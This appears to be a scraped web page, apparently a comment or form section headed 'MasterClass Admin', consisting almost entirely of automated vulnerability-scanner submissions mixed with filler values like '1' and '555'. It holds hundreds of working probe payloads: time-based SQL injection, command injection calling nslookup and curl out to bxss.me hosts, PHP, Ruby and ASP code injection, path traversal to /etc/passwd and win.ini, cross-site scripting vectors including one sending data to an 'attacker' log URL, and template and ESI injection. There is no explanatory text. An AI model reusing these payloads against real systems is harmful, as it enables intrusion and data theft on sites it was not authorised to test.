MasterClass Admin . 5 มี.ค., 2024, 1:20 PM
(select 198766*667891 from DUAL)
(select 198766*667891)
@@5yoig
1
1'"
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1d6vmgPBg')) OR 642=(SELECT 642 FROM PG_SLEEP(15))--
1pKsNHnMw') OR 111=(SELECT 111 FROM PG_SLEEP(15))--
112dL6FTQ' OR 830=(SELECT 830 FROM PG_SLEEP(15))--
1-1)) OR 411=(SELECT 411 FROM PG_SLEEP(15))--
1-1) OR 106=(SELECT 106 FROM PG_SLEEP(15))--
1-1 OR 684=(SELECT 684 FROM PG_SLEEP(15))--
15KTNQT3F'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "Faw78z9n"="
-1' OR 5*5=25 or 'LN5odS6S'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
1
1ZXAFI8oE
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitjfmtkpfnuc34b85.bxss.me||curl${IFS}hitjfmtkpfnuc34b85.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitjfmtkpfnuc34b85.bxss.me||curl${IFS}hitjfmtkpfnuc34b85.bxss.me)&`'
|(nslookup${IFS}-q${IFS}cname${IFS}hititmhacfrzgdbf81.bxss.me||curl${IFS}hititmhacfrzgdbf81.bxss.me)
;(nslookup -q=cname hitjrjgtbbwot0ac04.bxss.me||curl hitjrjgtbbwot0ac04.bxss.me)|(nslookup -q=cname hitjrjgtbbwot0ac04.bxss.me||curl hitjrjgtbbwot0ac04.bxss.me)&(nslookup -q=cname hitjrjgtbbwot0ac04.bxss.me||curl hitjrjgtbbwot0ac04.bxss.me)
`(nslookup -q=cname hitdttqlofpfvc1c1b.bxss.me||curl hitdttqlofpfvc1c1b.bxss.me)`
|(nslookup -q=cname hitqqgyiohdsg71488.bxss.me||curl hitqqgyiohdsg71488.bxss.me)
&(nslookup -q=cname hitiazbhqaqjvf1904.bxss.me||curl hitiazbhqaqjvf1904.bxss.me)&'\"`0&(nslookup -q=cname hitiazbhqaqjvf1904.bxss.me||curl hitiazbhqaqjvf1904.bxss.me)&`'
&nslookup -q=cname hitxythvqyvslf7c79.bxss.me&'\"`0&nslookup -q=cname hitxythvqyvslf7c79.bxss.me&`'
gethostbyname(lc('hitfc'.'zubhjauqfda4d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(70).chr(122).chr(78)
$(nslookup -q=cname hitsjxkjuilqy886c7.bxss.me||curl hitsjxkjuilqy886c7.bxss.me)
".gethostbyname(lc("hitys"."ckrbyzsz9163c.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(74).chr(101).chr(77)."
(nslookup -q=cname hitiskcfgodaa3c818.bxss.me||curl hitiskcfgodaa3c818.bxss.me))
1
expr 9000548128 - 918091
'.gethostbyname(lc('hitbd'.'pxapnvtja2df1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(74).chr(105).chr(80).'
1|echo ymoevo$()\ zjwknc\nz^xyu||a #' |echo ymoevo$()\ zjwknc\nz^xyu||a #|" |echo ymoevo$()\ zjwknc\nz^xyu||a #
|echo echqmn$()\ qhrodt\nz^xyu||a #' |echo echqmn$()\ qhrodt\nz^xyu||a #|" |echo echqmn$()\ qhrodt\nz^xyu||a #
1&echo yhxbbj$()\ ctkezm\nz^xyu||a #' &echo yhxbbj$()\ ctkezm\nz^xyu||a #|" &echo yhxbbj$()\ ctkezm\nz^xyu||a #
&echo qtmgvr$()\ rghkph\nz^xyu||a #' &echo qtmgvr$()\ rghkph\nz^xyu||a #|" &echo qtmgvr$()\ rghkph\nz^xyu||a #
echo kacgmj$()\ pjovac\nz^xyu||a #' &echo kacgmj$()\ pjovac\nz^xyu||a #|" &echo kacgmj$()\ pjovac\nz^xyu||a #
19606395
1
"+response.write(9408506*9520665)+"
1
'+response.write(9408506*9520665)+'
1
'"()&%<zzz><ScRiPt >w6kt(9573)</ScRiPt>
'.print(md5(31337)).'
<!--
${@print(md5(31337))}\
response.write(9408506*9520665)
'"
1'"()&%<zzz><ScRiPt >w6kt(9340)</ScRiPt>
1
1
1
1
1
${@print(md5(31337))}
";print(md5(31337));$a="
';print(md5(31337));$a='
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
http://bxss.me/t/fit.txt%3F.jpg
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
bxss.me
1
1
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
/etc/shells
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(111).concat(76).concat(110).concat(77)+(require'socket' Socket.gethostbyname('hitlo'+'iyiaohqsf3909.bxss.me.')[3].to_s)
'+'A'.concat(70-3).concat(22*4).concat(104).concat(89).concat(107).concat(66)+(require'socket' Socket.gethostbyname('hitcr'+'vrnrvmov4e13f.bxss.me.')[3].to_s)+'
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(113).concat(77).concat(105).concat(79)+(require"socket" Socket.gethostbyname("hitre"+"aqkggrli35cf8.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1"||sleep(27*1000)*sbdbgr||"
1
1
1'||sleep(27*1000)*iyylwk||'
1"&&sleep(27*1000)*dpblqz&&"
1
${9999744+9999995}
1'&&sleep(27*1000)*ceybgk&&'
../1
1
1
file:///etc/passwd
'"()
../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
^(#$!@#$)(()))******
1
!(()&&!|*|*|
1
1
)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@HNObA
555
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5553shn5AFk')) OR 421=(SELECT 421 FROM PG_SLEEP(15))--
5557dJziOkg') OR 983=(SELECT 983 FROM PG_SLEEP(15))--
555xgmx1Kyo' OR 615=(SELECT 615 FROM PG_SLEEP(15))--
555-1)) OR 359=(SELECT 359 FROM PG_SLEEP(15))--
555-1) OR 488=(SELECT 488 FROM PG_SLEEP(15))--
555-1 OR 922=(SELECT 922 FROM PG_SLEEP(15))--
555V2nzIZRF'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "DaMqaH0j"="
-1' OR 5*5=25 or 'Iuc8w3y2'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555ax16JoGx
555
555
555
555
555
555
555
555
555
"+response.write(9615355*9312464)+"
'+response.write(9615355*9312464)+'
555
response.write(9615355*9312464)
555
555
555
555
555
gethostbyname(lc('hitpt'.'dzuwnlqw610eb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(80).chr(119).chr(76)
5559433293
".gethostbyname(lc("hitms"."iegrchspf7e50.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(80).chr(116).chr(90)."
'.gethostbyname(lc('hitna'.'ehnybkqb14024.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(85).chr(121).chr(74).'
'"()&%<zzz><ScRiPt >TxSz(9208)</ScRiPt>
<!--
'"
555'"()&%<zzz><ScRiPt >TxSz(9071)</ScRiPt>
555
555
555
blog-comment-submit/.
blog-comment-submit
blog-comment-submit
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'.print(md5(31337)).'
555
${@print(md5(31337))}\
555
555
555
${@print(md5(31337))}
555
bxss.me/t/xss.html?%00
";print(md5(31337));$a="
555
';print(md5(31337));$a='
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
HttP://bxss.me/t/xss.html?%00
555
555
http://bxss.me/t/fit.txt?.jpg
555
Http://bxss.me/t/fit.txt
555
bxss.me
555
555
555
c:/windows/win.ini
555
../../../../../../../../../../../../../../etc/shells
/etc/shells
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
'A'.concat(70-3).concat(22*4).concat(110).concat(72).concat(105).concat(88)+(require'socket' Socket.gethostbyname('hitjd'+'yscoxcqg8873c.bxss.me.')[3].to_s)
'+'A'.concat(70-3).concat(22*4).concat(99).concat(79).concat(113).concat(81)+(require'socket' Socket.gethostbyname('hitac'+'wkejijihd50d8.bxss.me.')[3].to_s)+'
"+"A".concat(70-3).concat(22*4).concat(116).concat(83).concat(114).concat(68)+(require"socket" Socket.gethostbyname("hittk"+"fammsfrr6a392.bxss.me.")[3].to_s)+"
&(nslookup${IFS}-q${IFS}cname${IFS}hitxqrnpomhzt2814a.bxss.me||curl${IFS}hitxqrnpomhzt2814a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitxqrnpomhzt2814a.bxss.me||curl${IFS}hitxqrnpomhzt2814a.bxss.me)&`'
|(nslookup${IFS}-q${IFS}cname${IFS}hitscjzrxaclbb41f6.bxss.me||curl${IFS}hitscjzrxaclbb41f6.bxss.me)
555
;(nslookup -q=cname hitoynskulbuva6b03.bxss.me||curl hitoynskulbuva6b03.bxss.me)|(nslookup -q=cname hitoynskulbuva6b03.bxss.me||curl hitoynskulbuva6b03.bxss.me)&(nslookup -q=cname hitoynskulbuva6b03.bxss.me||curl hitoynskulbuva6b03.bxss.me)
`(nslookup -q=cname hittjmblkupkp73e08.bxss.me||curl hittjmblkupkp73e08.bxss.me)`
555
|(nslookup -q=cname hitnkkpagscmfd842f.bxss.me||curl hitnkkpagscmfd842f.bxss.me)
555
&(nslookup -q=cname hitlmrmouezdk7fbf4.bxss.me||curl hitlmrmouezdk7fbf4.bxss.me)&'\"`0&(nslookup -q=cname hitlmrmouezdk7fbf4.bxss.me||curl hitlmrmouezdk7fbf4.bxss.me)&`'
555
${9999523+9999260}
555
&nslookup -q=cname hitzrfthlwocoaae39.bxss.me&'\"`0&nslookup -q=cname hitzrfthlwocoaae39.bxss.me&`'
555
$(nslookup -q=cname hitfvepmwpuqe9ad2a.bxss.me||curl hitfvepmwpuqe9ad2a.bxss.me)
555
(nslookup -q=cname hitjoqdgbwptx57a73.bxss.me||curl hitjoqdgbwptx57a73.bxss.me))
555
expr 9000477374 - 980898
555|echo khrlfm$()\ wdfbxu\nz^xyu||a #' |echo khrlfm$()\ wdfbxu\nz^xyu||a #|" |echo khrlfm$()\ wdfbxu\nz^xyu||a #
555
555
|echo rvrpyc$()\ djhduq\nz^xyu||a #' |echo rvrpyc$()\ djhduq\nz^xyu||a #|" |echo rvrpyc$()\ djhduq\nz^xyu||a #
555&echo wdlvkh$()\ pupzvc\nz^xyu||a #' &echo wdlvkh$()\ pupzvc\nz^xyu||a #|" &echo wdlvkh$()\ pupzvc\nz^xyu||a #
555<esi:include src="http://bxss.me/rpb.png"/>
555
&echo evenpu$()\ dkftfb\nz^xyu||a #' &echo evenpu$()\ dkftfb\nz^xyu||a #|" &echo evenpu$()\ dkftfb\nz^xyu||a #
555
12345'"\'\");|]* { < >
echo rsiuhi$()\ xtdzqv\nz^xyu||a #' &echo rsiuhi$()\ xtdzqv\nz^xyu||a #|" &echo rsiuhi$()\ xtdzqv\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
../555
555
file:///etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
555"||sleep(27*1000)*dezfbj||"
555'||sleep(27*1000)*rtkbus||'
../../../../../../../../../../../../../../etc/passwd
555"&&sleep(27*1000)*vegffi&&"
555'&&sleep(27*1000)*okhujl&&'
'"()
555
555
555
redirtest.acx
555
555
^(#$!@#$)(()))******
!(()&&!|*|*|
)
555
555
555
555
1
1
1
555
555
555
555
555
555
555
555
555<aEIeddY<
555
555
555<img sRc='http://attacker-9905/log.php?
555
555<asRpfll x=9402>
555<ifRAme sRc=9209.com></IfRamE>
555
555<WSIS29>UPLT6[!+!]</WSIS29>
555pRbwN <ScRiPt >frAu(9183)</ScRiPt>
555
555}body{zzz:Expre/**/SSion(frAu(9193))}
<a HrEF=jaVaScRiPT:>
<a HrEF=http://xss.bxss.me></a>
555
555<input autofocus onfocus=frAu(9801)>
555
555
555
555<ScRiPt>frAu(9786)</sCripT>
555
555\u003CScRiPt\frAu(9711)\u003C/sCripT\u003E
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%66%72%41%75%289189%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9425)>
555
555<img src=xyz OnErRor=frAu(9438)>
555<img src=//xss.bxss.me/t/dot.gif onload=frAu(9783)>
555
555<body onload=frAu(9824)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9477'>
555
555<isindex type=image src=1 onerror=frAu(9398)>
555
555<svg
555
555< ScRiPt >frAu(9102)</ScRiPt>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9953></ScRiPt>
555
555
555<ScRiPt >frAu(9720)</ScRiPt>
555<ScR<ScRiPt>IpT>frAu(9109)</sCr<ScRiPt>IpT>
555
555 frAu(9094) 9094
555
555 frAu(9949)
555<WQ56MJ>ZGQ5P[!+!]</WQ56MJ>
555
555<ScRiPt >frAu(9527)</ScRiPt>
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
dfb__${98991*97996}__::.x
555
dfb[[${98991*97996}]]xca
555
dfb{{98991*97996}}xca
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
555
<th:t="${dfb}#foreach
555
555
555
<%={{={@{#{${dfb}}%>
555
bfgx6958
555
bfg7672＜s1﹥s2ʺs3ʹhjl7672
555
555
5559831805
555
'"()&%<zzz><ScRiPt >frAu(9117)</ScRiPt>
555
555'"()&%<zzz><ScRiPt >frAu(9611)</ScRiPt>
555
555
555
555<aX1yJxZ<
555
555
555<img sRc='http://attacker-9247/log.php?
555<aNhK6tn x=9228>
555
555<ifRAme sRc=9197.com></IfRamE>
555
555
555<WML9Z7>BS4BA[!+!]</WML9Z7>
555XLQHi <ScRiPt >HvMw(9631)</ScRiPt>
555
555}body{zzz:Expre/**/SSion(HvMw(9733))}
555
555
<a HrEF=jaVaScRiPT:>
555
<a HrEF=http://xss.bxss.me></a>
555
555<input autofocus onfocus=HvMw(9212)>
555
555
555
555<ScRiPt>HvMw(9242)</sCripT>
555
555\u003CScRiPt\HvMw(9012)\u003C/sCripT\u003E
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%48%76%4D%77%289772%29%3C%2F%73%43%72%69%70%54%3E
555
555<img/src=">" onerror=alert(9359)>
555
555<img src=xyz OnErRor=HvMw(9414)>
555
555
555<img src=//xss.bxss.me/t/dot.gif onload=HvMw(9568)>
555<body onload=HvMw(9242)>
555
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9180'>
555
555<isindex type=image src=1 onerror=HvMw(9692)>
555
555<svg
555
555< ScRiPt >HvMw(9302)</ScRiPt>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9068></ScRiPt>
555<ScRiPt >HvMw(9334)</ScRiPt>
555
555<ScR<ScRiPt>IpT>HvMw(9456)</sCr<ScRiPt>IpT>
555
555 HvMw(9449) 9449
555
555 HvMw(9008)
555
555
555<WRU5NL>3GY3W[!+!]</WRU5NL>
555
555<ScRiPt >HvMw(9164)</ScRiPt>
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
555
555
dfb{{98991*97996}}xca
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
555
<%={{={@{#{${dfb}}%>
bfgx6583
bfg4720＜s1﹥s2ʺs3ʹhjl4720
5559368772
'"()&%<zzz><ScRiPt >HvMw(9845)</ScRiPt>
555'"()&%<zzz><ScRiPt >HvMw(9251)</ScRiPt>
555<aQ6WyIa<
555<img sRc='http://attacker-9916/log.php?
555<a3wcdXM x=9763>
555<ifRAme sRc=9440.com></IfRamE>
555<WB3JCO>1BB4O[!+!]</WB3JCO>
5551sWxE <ScRiPt >jzBP(9400)</ScRiPt>
555
555
555}body{zzz:Expre/**/SSion(jzBP(9034))}
555
<a HrEF=jaVaScRiPT:>
555
<a HrEF=http://xss.bxss.me></a>
555
555
555
555<input autofocus onfocus=jzBP(9812)>
555
555<ScRiPt>jzBP(9372)</sCripT>
555
555\u003CScRiPt\jzBP(9243)\u003C/sCripT\u003E
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%6A%7A%42%50%289228%29%3C%2F%73%43%72%69%70%54%3E
555
555<img/src=">" onerror=alert(9452)>
555
555<img src=xyz OnErRor=jzBP(9041)>
555<img src=//xss.bxss.me/t/dot.gif onload=jzBP(9628)>
555
555
555<body onload=jzBP(9173)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9519'>
555<isindex type=image src=1 onerror=jzBP(9790)>
555
555<svg
555< ScRiPt >jzBP(9380)</ScRiPt>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9806></ScRiPt>
555<ScRiPt >jzBP(9804)</ScRiPt>
555
555<ScR<ScRiPt>IpT>jzBP(9422)</sCr<ScRiPt>IpT>
555
555 jzBP(9288) 9288
555
555
555 jzBP(9086)
555
555<WOZAOO>WBFQG[!+!]</WOZAOO>
555
555<ScRiPt >jzBP(9238)</ScRiPt>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
555
555
dfb{{98991*97996}}xca
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
555
555
<%={{={@{#{${dfb}}%>
555
bfgx9587
bfg1077＜s1﹥s2ʺs3ʹhjl1077
555
555
5559366706
555
555
555
'"()&%<zzz><ScRiPt >jzBP(9537)</ScRiPt>
555'"()&%<zzz><ScRiPt >jzBP(9227)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@QpRB0
555
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555Kq7Nj5Qy')) OR 888=(SELECT 888 FROM PG_SLEEP(15))--
555uIszfwxN') OR 974=(SELECT 974 FROM PG_SLEEP(15))--
555jgYP9IeL' OR 168=(SELECT 168 FROM PG_SLEEP(15))--
555-1)) OR 678=(SELECT 678 FROM PG_SLEEP(15))--
555-1) OR 116=(SELECT 116 FROM PG_SLEEP(15))--
555-1 OR 710=(SELECT 710 FROM PG_SLEEP(15))--
555PFi0frxC'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "pWagwaXt"="
-1' OR 5*5=25 or 'ChnK4xEX'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
5557dOq3Dfn
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
"+response.write(9703348*9717846)+"
555
555
555
'+response.write(9703348*9717846)+'
555
response.write(9703348*9717846)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
<!--
555
555
555
'"
555
555
555
555
555
555
555
555
555
555
555
555
555
5559848106
555
555
555
'"()&%<zzz><ScRiPt >YSca(9943)</ScRiPt>
gethostbyname(lc('hitqv'.'zufywuxdaf1e8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(86).chr(102).chr(66)
555
555
".gethostbyname(lc("hitte"."uruijasvcef8c.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(78).chr(109).chr(90)."
555
'.gethostbyname(lc('hitud'.'ttsnblhda3c45.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(82).chr(108).chr(80).'
555
555
555
555'"()&%<zzz><ScRiPt >YSca(9158)</ScRiPt>
555
555
555
555
555
555
555
555
blog-comment-submit/.
http://bxss.me/t/fit.txt?.jpg
blog-comment-submit
Http://bxss.me/t/fit.txt
555
blog-comment-submit
555
bxss.me
c:/windows/win.ini